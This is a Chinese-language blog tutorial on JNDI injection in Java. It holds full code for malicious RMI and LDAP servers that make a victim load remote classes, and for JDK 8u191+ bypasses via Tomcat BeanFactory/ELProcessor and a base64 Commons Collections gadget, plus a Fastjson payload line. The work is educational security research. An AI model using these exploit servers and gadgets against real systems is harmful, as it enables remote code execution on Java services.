JNDI注入

JNDI

什么是JNDI

JNDI的全称是Java Naming and Directory Interface,即Java命名和目录接口,作用是为JAVA应用程序提供命名和目录访问服务的API。也就是一个字符串对应一个对象。

说白了就是把资源取个名字,再根据名字来找资源。

当你需要使用某个资源,比如一个数据库连接或一个远程服务,你不需要直接知道它在哪里或者它是如何实现的。你只需要知道它的名字,JNDI会帮你找到并获取它。

举个例子:

假设你在开发一个Java应用程序,需要连接到一个数据库。你可以使用JNDI来查找这个数据库连接,而不是在代码中硬编码数据库的地址、用户名和密码。你只需要使用一个名字,比如“jdbc/MyDatabase”,JNDI会根据这个名字找到对应的数据库连接信息。

1
2
3
4
5
6
7
8
9
// 设置JNDI上下文(可以把它看作是电话簿)
Context context = new InitialContext();

// 查找名字为“jdbc/MyDatabase”的数据库连接(就像查找电话簿中的某个名字)
DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");

// 获取数据库连接
Connection connection = dataSource.getConnection();

在这个例子中,“jdbc/MyDatabase” 就是你要查找的资源,而 context.lookup("jdbc/MyDatabase") ,得到的结果是一个数据库连接。

环境

调试源码的时候有些文件是.class文件,为了阅读体验,可以按如下方法获得.java文件

下载地址:https://hg.openjdk.org/jdk8/jdk8/jdk/archive/tip.zip
IDEA–文件–项目结构–SDK–在你的jdk版本里的源路径内把下载的压缩包导入–重启IDEA即可

解释

Name(命名)

Name(命名)是指将一个对象与一个唯一的名字(名称)关联起来的过程。这类似于给某个人或事物起一个独特的名字,以便于查找和引用。在JNDI中,名字可以用来查找各种资源和对象,比如数据库连接、EJB组件、文件系统路径等。

例子:

  • 想象你有一个数据库连接,你给它起了一个名字叫“jdbc/MyDatabase”。当你需要这个数据库连接时,你只需要通过这个名字来查找它,而不需要关心它的具体实现和位置。

  • 代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    java复制代码// 创建JNDI上下文
    Context context = new InitialContext();

    // 使用名字查找数据库连接
    DataSource dataSource = (DataSource) context.lookup("jdbc/MyDatabase");

    // 获取数据库连接
    Connection connection = dataSource.getConnection();

Directory(目录)

Directory(目录)是一个层次结构的命名系统,可以存储带有属性的对象。目录不仅可以存储对象的名字,还可以存储对象的属性信息。目录服务不仅提供了简单的命名功能,还支持复杂的查询和操作。

例子:

  • 想象你有一个公司员工的目录,每个员工都有名字、职位、部门等属性信息。你可以通过员工的名字查找他们的详细信息,还可以通过职位、部门等属性进行查询。

  • 代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    java复制代码// 创建JNDI上下文
    Context context = new InitialContext();

    // 查找名字为“cn=John Doe”的员工
    Attributes attrs = context.getAttributes("cn=John Doe");

    // 获取员工的属性
    String title = (String) attrs.get("title").get();
    String department = (String) attrs.get("department").get();

JDK也为我们提供了⼀些服务接⼝:
LDAP (Lightweight Directory Access Protocol) 轻量级目录访问协议
CORBA (Common Object Request Broker Architecture) 公共对象请求代理结构服务
RMI(Java Remote Method Invocation)JAVA远程方法调用注册
DNS(Domain Name Service)域名服务
漏洞中涉及到最多的就是 RMI , LDAP 两种服务接口

JNDI结合RMI

原理是在服务端调用了一个 Reference 对象

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

JNDIRMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class JNDIRMIServer {

public interface RemoteObj extends Remote {

public String sayHello(String keywords) throws RemoteException;
}
public class RemoteObjImpl extends UnicastRemoteObject implements RMIServer.RemoteObj {

public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

public void start() throws NamingException, RemoteException {
//RMI结合
// 1、RMI原生分析
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
//2.与RMI结合的JNDI攻击
Reference reference=new Reference("Evil_Class_Name","JNDIEvilCode","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
}

public static void main(String[] args) throws Exception{
new JNDIRMIServer().start();
}
}

JNDIRMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
package org.example.RMI;

import javax.naming.InitialContext;
import org.example.RMI.RMIServer.RemoteObj;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

JNDIEvilCode.java

1
2
3
4
5
public class JNDIEvilCode {
public JNDIEvilCode() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

JNDIRMIClient指的是我们攻击的服务器,而JNDIRMIServer是我们自己设计的恶意服务器,我们将一个恶意代码JNDIEvilCode.java编译,让我们恶意服务器去绑定这个恶意代码到注册中心。如果我们需要攻击的服务器的lookup中的name参数可控,我们就可以让他访问我们绑定的恶意代码造成漏洞。

image-20240608181800113

跟进lookup,最后发现跟到了RMI原生的lookup方法,所以其实RMI攻击的方法在这里可以使用。

image-20240608182145225

接着进入decodeObject函数

image-20240608182241517

这里getObjectInstance方法,从名字可以判断是一个初始化的方法

image-20240608182615266

在里面通过getObjectFactoryFromReference来调用reference里面的factory

ref.getFactoryClassName()中我们获取到了恶意类的名字,接着在getObjectFactoryFromReference里面我们会去loadclass加载他。

这里有两个loadClass(factoryName)

image-20240608185137656

第一次在本地加载恶意类,但是我们攻击的服务器显然不会存在一个有恶意代码的类,所以第一次加载结果为空,第二次会用URLClassLoad加载器来加载我们恶意服务器上7777端口开放的恶意代码。

最后newInstance初始化这个恶意类来弹出计算器。

image-20240608183251954

这里其实如果我们执行命令的代码放在恶意类的静态代码块,就会在classload里面执行,因为我们继续跟进helper.loadClass的话,发现最后的forname函数第二个参数是true,这就表示,加载类的时候会初始化,这里初始化指的不是调用构造函数,而是调用静态代码块。

image-20240608185608273

JNDI结合LDAP

LdapServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.example.LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:7777/#JNDIEvilCode";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

JNDILdapClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example.LDAP;

import javax.naming.InitialContext;
import org.example.RMI.RMIServer.RemoteObj;

// jndi 打 jdk8u191 之前版本的客户端
public class JNDILdapClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

漏洞触发的流程差不多,官方在jdk8u121修复基于RMI的JNDI注入时,没有修复基于Ldap的JNDI注入,直到jdk8u191

关于绕过

image.png

RMI + JNDI Reference

JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

image-20240610162914745

image-20240610163059650

不过此次更新并没有对Ladp做出限制。LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。不多赘述。

LDAP + JNDI Reference

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

image-20240610165753313

image-20240610165844648

根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一判断语句,让我们无法加载 codebase。

绕过JDK 8u191+等高版本

方法一:利用本地Class作为Reference Factory

在JNDI结合RMI的时候,我们返回的Reference可以指定一个Factory,在getObjectInstance函数中实例化我们的恶意Factory类造成攻击,但由于高版本的限制,我们无法将Factory指定为我们恶意服务器上的恶意Factory类,但是,我们任可以将指定Factory,只是这个Factory类必须来自受害者服务器本地ClassPath ,该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

JNDIRMIServer_Rebind.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example.JNDI_BYPASS;

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer_Rebind {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",
true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" ));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
}
}

JNDIRMIServer_EL.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.JNDI_BYPASS;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer_EL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("remoteObj", referenceWrapper);
}
}

JNDIRMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example.JNDI_BYPASS;

import org.apache.naming.factory.BeanFactory;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.spi.NamingManager;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/remoteObj";
Context context = new InitialContext();
context.lookup(uri);
}
}

有两种恶意服务器代码构造方法,我们以第一个为例。

可以将断点打到此处,因为前面的执行逻辑与之前JNDI+RMI调用远端恶意代码一致。

image-20240611170945865

getObjectFactoryFromReference这个函数里面,会先本地加载org.apache.naming.factory.BeanFactory这个工厂,因为这个工厂就存在于本地,所以无需调用codebase。然后回实例化这个工厂类,并且会强转成ObjectFactory类型,返回给factory,并且接下来会调用getObjectInstance这个函数,这也是我们为什么说找的本地恶意类需要基础ObjectFactory接口并实现getObjectInstance函数。

image-20240611180903252

所以接下来我们将进入BeanFactory.getObjectInstance这个函数,首先就会判断obj是否是ResourceRef类的实例,这个obj是来自我们从注册表中找到的绑定的remoteobj,所以我们绑定的时候会绑定一个ResourceRef对象。只用进入这个if里面的代码,才是getObjectInstance执行逻辑,如果进入else,就会直接返回null。

1
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);

image-20240611182643053

接着,我们会加载javax.el.ELProcessor类,并且调用了他的无参构造函数实例化了这个类。所以我们的bean就是一个ELProcessor对象,而这个是我们命令执行的语句method.invoke(bean,valueArray)第一个参数。使我们可控的。从这可以看出,我们需要实例化的类是一个有无参构造函数的类。

image-20240612005554732

接着,我们会去获取开始恶意服务器上绑定的resourceRef对象中addrType等于forceString的StringRefAddr。这个StringRefAddr的contents就是我们添加的x=eval

image-20240612010235622

接着代码会将x=eval拆成x和eval,在第178行forced.put(param, beanClass.getMethod(setterName, paramTypes));会获取javax.el.ELProcessor的eval函数,并且将x和eval这个函数方法作为键值对放入forced这个HashMap中。

image-20240612012626407

接下来的while循环中,只用当获取的propName不等于scope、auth、forceString、singleton中任意一个,才能跳出循环,而propName,就是之前提到的resourceRef对象中的addrType。

image-20240612013314173

image-20240612013604126

很显然当propName等于我们绑定resourceRef前添加的x时跳出循环进行下一步,接着我们就会从forced这个HashMap取出键等于propName,也就是等于x对应的值,而我们之前是添加了一个x对应javax.el.ELProcessor的eval函数,所以method就是这个eval函数,接着反射调用这个方法,传入第一个值是之前实例化的javax.el.ELProcessor对象,那么就会调用这个实例化的ELProcessor对象的eval函数了,函数参数为valueArray,是个对象数组,第一个值是我们绑定resourceRef前添加的x对应的contents值,也就是”Runtime.getRuntime().exec(‘calc’)”。最后ELProcessor.eval()会对EL表达式进行求值,最终达到命令执行的效果。

image-20240612014035241

方法二:LDAP返回序列化数据,触发本地Gadget

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。当然,由于高版本jdk不信任远程类加载,我们依然是利用本地的恶意类,假如受害者服务器存在一个有漏洞的CommonsCollections库,那么就可以用我们恶意服务器返回序列化数据,是受害者服务器反序列化是触发cc链造成攻击。

JNDILDAPServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package org.example.JNDI_BYPASS;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDILDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/

public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

JNDILDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example.JNDI_BYPASS;

import com.alibaba.fastjson.JSON;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");

// Fastjson反序列化JNDI注入Gadget触发
// String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
// JSON.parse(payload);
}
}

调用堆栈

1
2
3
4
5
6
7
8
9
deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:12, JNDILDAPClient (org.example.JNDI_BYPASS)

触发的payload放在了javaSerializedData变量。前面直接跟lookup,可以直接跟到c_lookup

如果var4存在JAVA_ATTRIBUTES[2]就会进入decodeObject,而JAVA_ATTRIBUTES[2]的值是javaclassname,判断成立。并且我们可以注意到var4还存在javaserializeddata,正好有我们返回的序列化数据。所以var4携带的其实就是我们恶意服务器上添加的值。

image-20240612052832699

接着var1获取了刚刚var4(当前函数var0)的JAVA_ATTRIBUTES[1],也就是var4的javaSerializedData,接着会将将其作为参数传递给deserializeObject函数,在函数里面对传入的数据进行反序列化。

image-20240612053528096

参考文章

[浅析JNDI注入 Mi1k7ea ]

[浅析高低版JDK下的JNDI注入及绕过 Mi1k7ea ]

深入理解JNDI注入与Java反序列化漏洞利用 – KINGX

如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX

Java反序列化之JNDI学习 | Drunkbaby’s Blog (drun1baby.top)

JNDI 注入利用 Bypass 高版本 JDK 限制 (yuque.com)

攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客


JNDI注入
http://example.com/2024/06/08/JNDI注入/
作者
cmisl
发布于
2024年6月8日
许可协议